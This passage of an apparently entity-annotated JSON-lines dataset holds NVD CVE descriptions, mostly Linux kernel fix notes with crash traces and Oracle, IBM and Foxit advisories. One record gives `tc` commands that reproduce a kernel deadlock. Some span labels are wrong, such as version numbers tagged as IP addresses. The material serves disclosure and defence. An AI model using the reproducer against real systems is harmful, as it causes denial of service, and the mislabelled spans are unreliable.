impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [61, 67], [276, 282], [417, 423], [513, 519], [637, 643]], "VULNERABILITY: denial of service": [[602, 619]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2784"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfs: check for deleted cursors when revalidating two btrees\n\nThe free space and inode btree repair functions will rebuild both btrees\nat the same time, after which it needs to evaluate both btrees to\nconfirm that the corruptions are gone.\n\nHowever, Jiaming Zhang ran syzbot and produced a crash in the second\nxchk_allocbt call.  His root-cause analysis is as follows (with minor\ncorrections):\n\n In xrep_revalidate_allocbt(), xchk_allocbt() is called twice (first\n for BNOBT, second for CNTBT). The cause of this issue is that the\n first call nullified the cursor required by the second call.\n\n Let's first enter xrep_revalidate_allocbt() via following call chain:\n\n xfs_file_ioctl() ->\n xfs_ioc_scrubv_metadata() ->\n xfs_scrub_metadata() ->\n `sc->ops->repair_eval(sc)` ->\n xrep_revalidate_allocbt()\n\n xchk_allocbt() is called twice in this function. In the first call:\n\n /* Note that sc->sm->sm_type is XFS_SCRUB_TYPE_BNOPT now */\n xchk_allocbt() ->\n xchk_btree() ->\n `bs->scrub_rec(bs, recp)` ->\n xchk_allocbt_rec() ->\n xchk_allocbt_xref() ->\n xchk_allocbt_xref_other()\n\n since sm_type is XFS_SCRUB_TYPE_BNOBT, pur is set to &sc->sa.cnt_cur.\n Kernel called xfs_alloc_get_rec() and returned -EFSCORRUPTED. Call\n chain:\n\n xfs_alloc_get_rec() ->\n xfs_btree_get_rec() ->\n xfs_btree_check_block() ->\n (XFS_IS_CORRUPT || XFS_TEST_ERROR), the former is false and the latter\n is true, return -EFSCORRUPTED. This should be caused by\n ioctl$XFS_IOC_ERROR_INJECTION I guess.\n\n Back to xchk_allocbt_xref_other(), after receiving -EFSCORRUPTED from\n xfs_alloc_get_rec(), kernel called xchk_should_check_xref(). In this\n function, *curpp (points to sc->sa.cnt_cur) is nullified.\n\n Back to xrep_revalidate_allocbt(), since sc->sa.cnt_cur has been\n nullified, it then triggered null-ptr-deref via xchk_allocbt() (second\n call) -> xchk_btree().\n\nSo.  The bnobt revalidation failed on a cross-reference attempt, so we\ndeleted the cntbt cursor, and then crashed when we tried to revalidate\nthe cntbt.  Therefore, check for a null cntbt cursor before that\nrevalidation, and mark the repair incomplete.  Also we can ignore the\nsecond tree entirely if the first tree was rebuilt but is already\ncorrupt.\n\nApply the same fix to xrep_revalidate_iallocbt because it has the same\nproblem.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23249"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: move SCTP_CMD_ASSOC_SHKEY right after SCTP_CMD_PEER_INIT\n\nA null-ptr-deref was reported in the SCTP transmit path when SCTP-AUTH key\ninitialization fails:\n\n  ==================================================================\n  KASAN: null-ptr-deref in range [0x0000000000000018-0x000000000000001f]\n  CPU: 0 PID: 16 Comm: ksoftirqd/0 Tainted: G W 6.6.0 #2\n  RIP: 0010:sctp_packet_bundle_auth net/sctp/output.c:264 [inline]\n  RIP: 0010:sctp_packet_append_chunk+0xb36/0x1260 net/sctp/output.c:401\n  Call Trace:\n\n  sctp_packet_transmit_chunk+0x31/0x250 net/sctp/output.c:189\n  sctp_outq_flush_data+0xa29/0x26d0 net/sctp/outqueue.c:1111\n  sctp_outq_flush+0xc80/0x1240 net/sctp/outqueue.c:1217\n  sctp_cmd_interpreter.isra.0+0x19a5/0x62c0 net/sctp/sm_sideeffect.c:1787\n  sctp_side_effects net/sctp/sm_sideeffect.c:1198 [inline]\n  sctp_do_sm+0x1a3/0x670 net/sctp/sm_sideeffect.c:1169\n  sctp_assoc_bh_rcv+0x33e/0x640 net/sctp/associola.c:1052\n  sctp_inq_push+0x1dd/0x280 net/sctp/inqueue.c:88\n  sctp_rcv+0x11ae/0x3100 net/sctp/input.c:243\n  sctp6_rcv+0x3d/0x60 net/sctp/ipv6.c:1127\n\nThe issue is triggered when sctp_auth_asoc_init_active_key() fails in\nsctp_sf_do_5_1C_ack() while processing an INIT_ACK. In this case, the\ncommand sequence is currently:\n\n- SCTP_CMD_PEER_INIT\n- SCTP_CMD_TIMER_STOP (T1_INIT)\n- SCTP_CMD_TIMER_START (T1_COOKIE)\n- SCTP_CMD_NEW_STATE (COOKIE_ECHOED)\n- SCTP_CMD_ASSOC_SHKEY\n- SCTP_CMD_GEN_COOKIE_ECHO\n\nIf SCTP_CMD_ASSOC_SHKEY fails, asoc->shkey remains NULL, while\nasoc->peer.auth_capable and asoc->peer.peer_chunks have already been set by\nSCTP_CMD_PEER_INIT. This allows a DATA chunk with auth = 1 and shkey = NULL\nto be queued by sctp_datamsg_from_user().\n\nSince command interpretation stops on failure, no COOKIE_ECHO should been\nsent via SCTP_CMD_GEN_COOKIE_ECHO. However, the T1_COOKIE timer has already\nbeen started, and it may enqueue a COOKIE_ECHO into the outqueue later. As\na result, the DATA chunk can be transmitted together with the COOKIE_ECHO\nin sctp_outq_flush_data(), leading to the observed issue.\n\nSimilar to the other places where it calls sctp_auth_asoc_init_active_key()\nright after sctp_process_init(), this patch moves the SCTP_CMD_ASSOC_SHKEY\nimmediately after SCTP_CMD_PEER_INIT, before stopping T1_INIT and starting\nT1_COOKIE. This ensures that if shared key generation fails, authenticated\nDATA cannot be sent. It also allows the T1_INIT timer to retransmit INIT,\ngiving the client another chance to process INIT_ACK and retry key setup.", "spans": {"FILEPATH: /sctp/output.c": [[469, 483], [550, 564], [627, 641]], "FILEPATH: /sctp/outqueue.c": [[685, 701], [741, 757]], "FILEPATH: /sctp/sm_sideeffect.c": [[810, 831], [860, 881], [924, 945]], "FILEPATH: /sctp/associola.c": [[986, 1003]], "FILEPATH: /sctp/inqueue.c": [[1040, 1055]], "FILEPATH: /sctp/input.c": [[1087, 1100]], "FILEPATH: /sctp/ipv6.c": [[1130, 1142]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23125"}}
{"text": "Ratpack is a toolkit for creating web applications. In versions prior to 1.9.0, the default configuration of client side sessions results in unencrypted, but signed, data being set as cookie values. This means that if something sensitive goes into the session, it could be read by something with access to the cookies. For this to be a vulnerability, some kind of sensitive data would need to be stored in the session and the session cookie would have to leak. For example, the cookies are not configured with httpOnly and an adjacent XSS vulnerability within the site allowed capture of the cookies. As of version 1.9.0, a securely randomly generated signing key is used. As a workaround, one may supply an encryption key, as per the documentation recommendation.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29481"}}
{"text": "IBM Spectrum Protect Plus 10.1.0 through 10.1.5 could allow a remote attacker to execute arbitrary code on the system. By using a specially crafted HTTP command, an attacker could exploit this vulnerability to execute arbitrary command on the system. This vulnerability is due to an incomplete fix for CVE-2020-4211. IBM X-Force ID: 181724.", "spans": {"CVE_ID: CVE-2020-4211": [[302, 315]], "ORGANIZATION: IBM": [[0, 3], [317, 320]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-4469"}}
{"text": "Vulnerability in the Enterprise Manager Base Platform product of Oracle Enterprise Manager (component: Command Line Interface). Supported versions that are affected are 12.1.0.5, 13.2.0.0 and 13.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Enterprise Manager Base Platform. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Enterprise Manager Base Platform, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Enterprise Manager Base Platform accessible data as well as unauthorized read access to a subset of Enterprise Manager Base Platform accessible data. CVSS 3.0 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).", "spans": {"IP_ADDRESS: 12.1.0.5": [[169, 177]], "IP_ADDRESS: 13.2.0.0": [[179, 187]], "IP_ADDRESS: 13.3.0.0": [[192, 200]], "ORGANIZATION: Oracle": [[65, 71]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2646"}}
{"text": "Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Filters). Supported versions that are affected are 8.5.4 and 8.5.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Outside In Technology accessible data as well as unauthorized read access to a subset of Oracle Outside In Technology accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Outside In Technology. Note: Outside In Technology is a suite of software development kits (SDKs). The protocol and CVSS score depend on the software that uses the Outside In Technology code. The CVSS score assumes that the software passes data received over a network directly to Outside In Technology code, but if data is not received over a network the CVSS score may be lower. CVSS 3.1 Base Score 8.6 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [61, 67], [285, 291], [449, 455], [545, 551], [669, 675]], "VULNERABILITY: denial of service": [[634, 651]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2068"}}
{"text": "This vulnerability allows local attackers to escalate privileges on affected installations of Foxit PhantomPDF 10.0.0.35798. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the handling of the configuration files used by the Foxit PhantomPDF Update Service. The issue results from incorrect permissions set on a resource used by the service. An attacker can leverage this vulnerability to escalate privileges and execute code in the context of SYSTEM. Was ZDI-CAN-11308.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-17415"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: Fix mirred deadlock on device recursion\n\nWhen the mirred action is used on a classful egress qdisc and a packet is\nmirrored or redirected to self we hit a qdisc lock deadlock.\nSee trace below.\n\n[..... other info removed for brevity....]\n[   82.890906]\n[   82.890906] ============================================\n[   82.890906] WARNING: possible recursive locking detected\n[   82.890906] 6.8.0-05205-g77fadd89fe2d-dirty #213 Tainted: G        W\n[   82.890906] --------------------------------------------\n[   82.890906] ping/418 is trying to acquire lock:\n[   82.890906] ffff888006994110 (&sch->q.lock){+.-.}-{3:3}, at:\n__dev_queue_xmit+0x1778/0x3550\n[   82.890906]\n[   82.890906] but task is already holding lock:\n[   82.890906] ffff888006994110 (&sch->q.lock){+.-.}-{3:3}, at:\n__dev_queue_xmit+0x1778/0x3550\n[   82.890906]\n[   82.890906] other info that might help us debug this:\n[   82.890906]  Possible unsafe locking scenario:\n[   82.890906]\n[   82.890906]        CPU0\n[   82.890906]        ----\n[   82.890906]   lock(&sch->q.lock);\n[   82.890906]   lock(&sch->q.lock);\n[   82.890906]\n[   82.890906]  *** DEADLOCK ***\n[   82.890906]\n[..... other info removed for brevity....]\n\nExample setup (eth0->eth0) to recreate\ntc qdisc add dev eth0 root handle 1: htb default 30\ntc filter add dev eth0 handle 1: protocol ip prio 2 matchall \\\n     action mirred egress redirect dev eth0\n\nAnother example(eth0->eth1->eth0) to recreate\ntc qdisc add dev eth0 root handle 1: htb default 30\ntc filter add dev eth0 handle 1: protocol ip prio 2 matchall \\\n     action mirred egress redirect dev eth1\n\ntc qdisc add dev eth1 root handle 1: htb default 30\ntc filter add dev eth1 handle 1: protocol ip prio 2 matchall \\\n     action mirred egress redirect dev eth0\n\nWe fix this by adding an owner field (CPU id) to struct Qdisc set after\nroot qdisc is entered. When the softirq enters it a second time, if the\nqdisc owner is the same CPU, the packet is dropped to break the loop.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-27010"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nARM: 9170/1: fix panic when kasan and kprobe are enabled\n\narm32 uses software to simulate the instruction replaced\nby kprobe. some instructions may be simulated by constructing\nassembly functions. therefore, before executing instruction\nsimulation, it is necessary to construct assembly function\nexecution environment in C language through binding registers.\nafter kasan is enabled, the register binding relationship will\nbe destroyed, resulting in instruction simulation errors and\ncausing kernel panic.\n\nthe kprobe emulate instruction function is distributed in three\nfiles: actions-common.c actions-arm.c actions-thumb.c, so disable\nKASAN when compiling these files.\n\nfor example, use kprobe insert on cap_capable+20 after kasan\nenabled, the cap_capable assembly code is as follows:\n<cap_capable>:\ne92d47f0\tpush\t{r4, r5, r6, r7, r8, r9, sl, lr}\ne1a05000\tmov\tr5, r0\ne280006c\tadd\tr0, r0, #108    ; 0x6c\ne1a04001\tmov\tr4, r1\ne1a06002\tmov\tr6, r2\ne59fa090\tldr\tsl, [pc, #144]  ;\nebfc7bf8\tbl\tc03aa4b4 <__asan_load4>\ne595706c\tldr\tr7, [r5, #108]  ; 0x6c\ne2859014\tadd\tr9, r5, #20\n......\nThe emulate_ldr assembly code after enabling kasan is as follows:\nc06f1384 <emulate_ldr>:\ne92d47f0\tpush\t{r4, r5, r6, r7, r8, r9, sl, lr}\ne282803c\tadd\tr8, r2, #60     ; 0x3c\ne1a05000\tmov\tr5, r0\ne7e37855\tubfx\tr7, r5, #16, #4\ne1a00008\tmov\tr0, r8\ne1a09001\tmov\tr9, r1\ne1a04002\tmov\tr4, r2\nebf35462\tbl\tc03c6530 <__asan_load4>\ne357000f\tcmp\tr7, #15\ne7e36655\tubfx\tr6, r5, #12, #4\ne205a00f\tand\tsl, r5, #15\n0a000001\tbeq\tc06f13bc <emulate_ldr+0x38>\ne0840107\tadd\tr0, r4, r7, lsl #2\nebf3545c\tbl\tc03c6530 <__asan_load4>\ne084010a\tadd\tr0, r4, sl, lsl #2\nebf3545a\tbl\tc03c6530 <__asan_load4>\ne2890010\tadd\tr0, r9, #16\nebf35458\tbl\tc03c6530 <__asan_load4>\ne5990010\tldr\tr0, [r9, #16]\ne12fff30\tblx\tr0\ne356000f\tcm\tr6, #15\n1a000014\tbne\tc06f1430 <emulate_ldr+0xac>\ne1a06000\tmov\tr6, r0\ne2840040\tadd\tr0, r4, #64     ; 0x40\n......\n\nwhen running in emulate_ldr to simulate the ldr instruction, panic\noccurred, and the log is as follows:\nUnable to handle kernel NULL pointer dereference at virtual address\n00000090\npgd = ecb46400\n[00000090] *pgd=2e0fa003, *pmd=00000000\nInternal error: Oops: 206 [#1] SMP ARM\nPC is at cap_capable+0x14/0xb0\nLR is at emulate_ldr+0x50/0xc0\npsr: 600d0293 sp : ecd63af8  ip : 00000004  fp : c0a7c30c\nr10: 00000000  r9 : c30897f4  r8 : ecd63cd4\nr7 : 0000000f  r6 : 0000000a  r5 : e59fa090  r4 : ecd63c98\nr3 : c06ae294  r2 : 00000000  r1 : b7611300  r0 : bf4ec008\nFlags: nZCv  IRQs off  FIQs on  Mode SVC_32  ISA ARM  Segment user\nControl: 32c5387d  Table: 2d546400  DAC: 55555555\nProcess bash (pid: 1643, stack limit = 0xecd60190)\n(cap_capable) from (kprobe_handler+0x218/0x340)\n(kprobe_handler) from (kprobe_trap_handler+0x24/0x48)\n(kprobe_trap_handler) from (do_undefinstr+0x13c/0x364)\n(do_undefinstr) from (__und_svc_finish+0x0/0x30)\n(__und_svc_finish) from (cap_capable+0x18/0xb0)\n(cap_capable) from (cap_vm_enough_memory+0x38/0x48)\n(cap_vm_enough_memory) from\n(security_vm_enough_memory_mm+0x48/0x6c)\n(security_vm_enough_memory_mm) from\n(copy_process.constprop.5+0x16b4/0x25c8)\n(copy_process.constprop.5) from (_do_fork+0xe8/0x55c)\n(_do_fork) from (SyS_clone+0x1c/0x24)\n(SyS_clone) from (__sys_trace_return+0x0/0x10)\nCode: 0050a0e1 6c0080e2 0140a0e1 0260a0e1 (f801f0e7)", "spans": {"FILEPATH: common.c": [[654, 662]], "FILEPATH: arm.c": [[671, 676]], "FILEPATH: thumb.c": [[685, 692]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[2077, 2101]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47618"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: brcmfmac: fix use-after-free bug in brcmf_netdev_start_xmit()\n\n> ret = brcmf_proto_tx_queue_data(drvr, ifp->ifidx, skb);\n\nmay be schedule, and then complete before the line\n\n> ndev->stats.tx_bytes += skb->len;\n\n[   46.912801] ==================================================================\n[   46.920552] BUG: KASAN: use-after-free in brcmf_netdev_start_xmit+0x718/0x8c8 [brcmfmac]\n[   46.928673] Read of size 4 at addr ffffff803f5882e8 by task systemd-resolve/328\n[   46.935991]\n[   46.937514] CPU: 1 PID: 328 Comm: systemd-resolve Tainted: G           O      5.4.199-[REDACTED] #1\n[   46.947255] Hardware name: [REDACTED]\n[   46.954568] Call trace:\n[   46.957037]  dump_backtrace+0x0/0x2b8\n[   46.960719]  show_stack+0x24/0x30\n[   46.964052]  dump_stack+0x128/0x194\n[   46.967557]  print_address_description.isra.0+0x64/0x380\n[   46.972877]  __kasan_report+0x1d4/0x240\n[   46.976723]  kasan_report+0xc/0x18\n[   46.980138]  __asan_report_load4_noabort+0x18/0x20\n[   46.985027]  brcmf_netdev_start_xmit+0x718/0x8c8 [brcmfmac]\n[   46.990613]  dev_hard_start_xmit+0x1bc/0xda0\n[   46.994894]  sch_direct_xmit+0x198/0xd08\n[   46.998827]  __qdisc_run+0x37c/0x1dc0\n[   47.002500]  __dev_queue_xmit+0x1528/0x21f8\n[   47.006692]  dev_queue_xmit+0x24/0x30\n[   47.010366]  neigh_resolve_output+0x37c/0x678\n[   47.014734]  ip_finish_output2+0x598/0x2458\n[   47.018927]  __ip_finish_output+0x300/0x730\n[   47.023118]  ip_output+0x2e0/0x430\n[   47.026530]  ip_local_out+0x90/0x140\n[   47.030117]  igmpv3_sendpack+0x14c/0x228\n[   47.034049]  igmpv3_send_cr+0x384/0x6b8\n[   47.037895]  igmp_ifc_timer_expire+0x4c/0x118\n[   47.042262]  call_timer_fn+0x1cc/0xbe8\n[   47.046021]  __run_timers+0x4d8/0xb28\n[   47.049693]  run_timer_softirq+0x24/0x40\n[   47.053626]  __do_softirq+0x2c0/0x117c\n[   47.057387]  irq_exit+0x2dc/0x388\n[   47.060715]  __handle_domain_irq+0xb4/0x158\n[   47.064908]  gic_handle_irq+0x58/0xb0\n[   47.068581]  el0_irq_naked+0x50/0x5c\n[   47.072162]\n[   47.073665] Allocated by task 328:\n[   47.077083]  save_stack+0x24/0xb0\n[   47.080410]  __kasan_kmalloc.isra.0+0xc0/0xe0\n[   47.084776]  kasan_slab_alloc+0x14/0x20\n[   47.088622]  kmem_cache_alloc+0x15c/0x468\n[   47.092643]  __alloc_skb+0xa4/0x498\n[   47.096142]  igmpv3_newpack+0x158/0xd78\n[   47.099987]  add_grhead+0x210/0x288\n[   47.103485]  add_grec+0x6b0/0xb70\n[   47.106811]  igmpv3_send_cr+0x2e0/0x6b8\n[   47.110657]  igmp_ifc_timer_expire+0x4c/0x118\n[   47.115027]  call_timer_fn+0x1cc/0xbe8\n[   47.118785]  __run_timers+0x4d8/0xb28\n[   47.122457]  run_timer_softirq+0x24/0x40\n[   47.126389]  __do_softirq+0x2c0/0x117c\n[   47.130142]\n[   47.131643] Freed by task 180:\n[   47.134712]  save_stack+0x24/0xb0\n[   47.138041]  __kasan_slab_free+0x108/0x180\n[   47.142146]  kasan_slab_free+0x10/0x18\n[   47.145904]  slab_free_freelist_hook+0xa4/0x1b0\n[   47.150444]  kmem_cache_free+0x8c/0x528\n[   47.154292]  kfree_skbmem+0x94/0x108\n[   47.157880]  consume_skb+0x10c/0x5a8\n[   47.161466]  __dev_kfree_skb_any+0x88/0xa0\n[   47.165598]  brcmu_pkt_buf_free_skb+0x44/0x68 [brcmutil]\n[   47.171023]  brcmf_txfinalize+0xec/0x190 [brcmfmac]\n[   47.176016]  brcmf_proto_bcdc_txcomplete+0x1c0/0x210 [brcmfmac]\n[   47.182056]  brcmf_sdio_sendfromq+0x8dc/0x1e80 [brcmfmac]\n[   47.187568]  brcmf_sdio_dpc+0xb48/0x2108 [brcmfmac]\n[   47.192529]  brcmf_sdio_dataworker+0xc8/0x238 [brcmfmac]\n[   47.197859]  process_one_work+0x7fc/0x1a80\n[   47.201965]  worker_thread+0x31c/0xc40\n[   47.205726]  kthread+0x2d8/0x370\n[   47.208967]  ret_from_fork+0x10/0x18\n[   47.212546]\n[   47.214051] The buggy address belongs to the object at ffffff803f588280\n[   47.214051]  which belongs to the cache skbuff_head_cache of size 208\n[   47.227086] The buggy address is located 104 bytes inside of\n[   47.227086]  208-byte region [ffffff803f588280, ffffff803f588350)\n[   47.238814] The buggy address belongs to the page:\n[   47.243618] page:ffffffff00dd6200 refcount:1 mapcou\n---truncated---", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: systemd": [[523, 530], [595, 602]], "VULNERABILITY: use-after-free": [[89, 103], [395, 409]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50408"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: migrate: fix getting incorrect page mapping during page migration\n\nWhen running stress-ng testing, we found below kernel crash after a few hours:\n\nUnable to handle kernel NULL pointer dereference at virtual address 0000000000000000\npc : dentry_name+0xd8/0x224\nlr : pointer+0x22c/0x370\nsp : ffff800025f134c0\n......\nCall trace:\n  dentry_name+0xd8/0x224\n  pointer+0x22c/0x370\n  vsnprintf+0x1ec/0x730\n  vscnprintf+0x2c/0x60\n  vprintk_store+0x70/0x234\n  vprintk_emit+0xe0/0x24c\n  vprintk_default+0x3c/0x44\n  vprintk_func+0x84/0x2d0\n  printk+0x64/0x88\n  __dump_page+0x52c/0x530\n  dump_page+0x14/0x20\n  set_migratetype_isolate+0x110/0x224\n  start_isolate_page_range+0xc4/0x20c\n  offline_pages+0x124/0x474\n  memory_block_offline+0x44/0xf4\n  memory_subsys_offline+0x3c/0x70\n  device_offline+0xf0/0x120\n  ......\n\nAfter analyzing the vmcore, I found this issue is caused by page migration.\nThe scenario is that, one thread is doing page migration, and we will use the\ntarget page's ->mapping field to save 'anon_vma' pointer between page unmap and\npage move, and now the target page is locked and refcount is 1.\n\nCurrently, there is another stress-ng thread performing memory hotplug,\nattempting to offline the target page that is being migrated. It discovers that\nthe refcount of this target page is 1, preventing the offline operation, thus\nproceeding to dump the page. However, page_mapping() of the target page may\nreturn an incorrect file mapping to crash the system in dump_mapping(), since\nthe target page->mapping only saves 'anon_vma' pointer without setting\nPAGE_MAPPING_ANON flag.\n\nThere are seveval ways to fix this issue:\n(1) Setting the PAGE_MAPPING_ANON flag for target page's ->mapping when saving\n'anon_vma', but this can confuse PageAnon() for PFN walkers, since the target\npage has not built mappings yet.\n(2) Getting the page lock to call page_mapping() in __dump_page() to avoid crashing\nthe system, however, there are still some PFN walkers that call page_mapping()\nwithout holding the page lock, such as compaction.\n(3) Using target page->private field to save the 'anon_vma' pointer and 2 bits\npage state, just as page->mapping records an anonymous page, which can remove\nthe page_mapping() impact for PFN walkers and also seems a simple way.\n\nSo I choose option 3 to fix this issue, and this can also fix other potential\nissues for PFN walkers, such as compaction.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[244, 268]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52490"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nerofs: wake up all waiters after z_erofs_lzma_head ready\n\nWhen the user mounts the erofs second times, the decompression thread\nmay hung. The problem happens due to a sequence of steps like the\nfollowing:\n\n1) Task A called z_erofs_load_lzma_config which obtain all of the node\n   from the z_erofs_lzma_head.\n\n2) At this time, task B called the z_erofs_lzma_decompress and wanted to\n   get a node. But the z_erofs_lzma_head was empty, the Task B had to\n   sleep.\n\n3) Task A release nodes and push nodes into the z_erofs_lzma_head. But\n   task B was still sleeping.\n\nOne example report when the hung happens:\ntask:kworker/u3:1 state:D stack:14384 pid: 86 ppid: 2 flags:0x00004000\nWorkqueue: erofs_unzipd z_erofs_decompressqueue_work\nCall Trace:\n <TASK>\n __schedule+0x281/0x760\n schedule+0x49/0xb0\n z_erofs_lzma_decompress+0x4bc/0x580\n ? cpu_core_flags+0x10/0x10\n z_erofs_decompress_pcluster+0x49b/0xba0\n ? __update_load_avg_se+0x2b0/0x330\n ? __update_load_avg_se+0x2b0/0x330\n ? update_load_avg+0x5f/0x690\n ? update_load_avg+0x5f/0x690\n ? set_next_entity+0xbd/0x110\n ? _raw_spin_unlock+0xd/0x20\n z_erofs_decompress_queue.isra.0+0x2e/0x50\n z_erofs_decompressqueue_work+0x30/0x60\n process_one_work+0x1d3/0x3a0\n worker_thread+0x45/0x3a0\n ? process_one_work+0x3a0/0x3a0\n kthread+0xe2/0x110\n ? kthread_complete_and_exit+0x20/0x20\n ret_from_fork+0x22/0x30\n </TASK>", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50193"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbonding: Fix out-of-bounds read in bond_option_arp_ip_targets_set()\n\nIn function bond_option_arp_ip_targets_set(), if newval->string is an\nempty string, newval->string+1 will point to the byte after the\nstring, causing an out-of-bound read.\n\nBUG: KASAN: slab-out-of-bounds in strlen+0x7d/0xa0 lib/string.c:418\nRead of size 1 at addr ffff8881119c4781 by task syz-executor665/8107\nCPU: 1 PID: 8107 Comm: syz-executor665 Not tainted 6.7.0-rc7 #1\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:88 [inline]\n dump_stack_lvl+0xd9/0x150 lib/dump_stack.c:106\n print_address_description mm/kasan/report.c:364 [inline]\n print_report+0xc1/0x5e0 mm/kasan/report.c:475\n kasan_report+0xbe/0xf0 mm/kasan/report.c:588\n strlen+0x7d/0xa0 lib/string.c:418\n __fortify_strlen include/linux/fortify-string.h:210 [inline]\n in4_pton+0xa3/0x3f0 net/core/utils.c:130\n bond_option_arp_ip_targets_set+0xc2/0x910\ndrivers/net/bonding/bond_options.c:1201\n __bond_opt_set+0x2a4/0x1030 drivers/net/bonding/bond_options.c:767\n __bond_opt_set_notify+0x48/0x150 drivers/net/bonding/bond_options.c:792\n bond_opt_tryset_rtnl+0xda/0x160 drivers/net/bonding/bond_options.c:817\n bonding_sysfs_store_option+0xa1/0x120 drivers/net/bonding/bond_sysfs.c:156\n dev_attr_store+0x54/0x80 drivers/base/core.c:2366\n sysfs_kf_write+0x114/0x170 fs/sysfs/file.c:136\n kernfs_fop_write_iter+0x337/0x500 fs/kernfs/file.c:334\n call_write_iter include/linux/fs.h:2020 [inline]\n new_sync_write fs/read_write.c:491 [inline]\n vfs_write+0x96a/0xd80 fs/read_write.c:584\n ksys_write+0x122/0x250 fs/read_write.c:637\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0x40/0x110 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x63/0x6b\n---[ end trace ]---\n\nFix it by adding a check of string length before using it.", "spans": {"FILEPATH: /01/2014": [[583, 591]], "FILEPATH: /kasan/report.c": [[732, 747], [788, 803], [834, 849]], "FILEPATH: /linux/fortify-string.h": [[914, 937]], "FILEPATH: /core/utils.c": [[975, 988]], "FILEPATH: /net/bonding/bond_options.c": [[1043, 1070], [1112, 1139], [1185, 1212], [1257, 1284]], "FILEPATH: /net/bonding/bond_sysfs.c": [[1335, 1360]], "FILEPATH: /base/core.c": [[1398, 1410]], "FILEPATH: /sysfs/file.c": [[1446, 1459]], "FILEPATH: /kernfs/file.c": [[1501, 1515]], "FILEPATH: /linux/fs.h": [[1544, 1555]], "FILEPATH: /x86/entry/common.c": [[1722, 1741], [1784, 1803]], "FILEPATH: string.c": [[366, 374], [876, 884]], "FILEPATH: dump_stack.c": [[630, 642], [686, 698]], "FILEPATH: read_write.c": [[1589, 1601], [1641, 1653], [1685, 1697]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[527, 531]], "VULNERABILITY: out-of-bounds read": [[82, 100]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-39487"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nblk-throttle: fix access race during throttle policy activation\n\nOn repeated cold boots we occasionally hit a NULL pointer crash in\nblk_should_throtl() when throttling is consulted before the throttle\npolicy is fully enabled for the queue. Checking only q->td != NULL is\ninsufficient during early initialization, so blkg_to_pd() for the\nthrottle policy can still return NULL and blkg_to_tg() becomes NULL,\nwhich later gets dereferenced.\n\n Unable to handle kernel NULL pointer dereference\n at virtual address 0000000000000156\n ...\n pc : submit_bio_noacct+0x14c/0x4c8\n lr : submit_bio_noacct+0x48/0x4c8\n sp : ffff800087f0b690\n x29: ffff800087f0b690 x28: 0000000000005f90 x27: ffff00068af393c0\n x26: 0000000000080000 x25: 000000000002fbc0 x24: ffff000684ddcc70\n x23: 0000000000000000 x22: 0000000000000000 x21: 0000000000000000\n x20: 0000000000080000 x19: ffff000684ddcd08 x18: ffffffffffffffff\n x17: 0000000000000000 x16: ffff80008132a550 x15: 0000ffff98020fff\n x14: 0000000000000000 x13: 1fffe000d11d7021 x12: ffff000688eb810c\n x11: ffff00077ec4bb80 x10: ffff000688dcb720 x9 : ffff80008068ef60\n x8 : 00000a6fb8a86e85 x7 : 000000000000111e x6 : 0000000000000002\n x5 : 0000000000000246 x4 : 0000000000015cff x3 : 0000000000394500\n x2 : ffff000682e35e40 x1 : 0000000000364940 x0 : 000000000000001a\n Call trace:\n  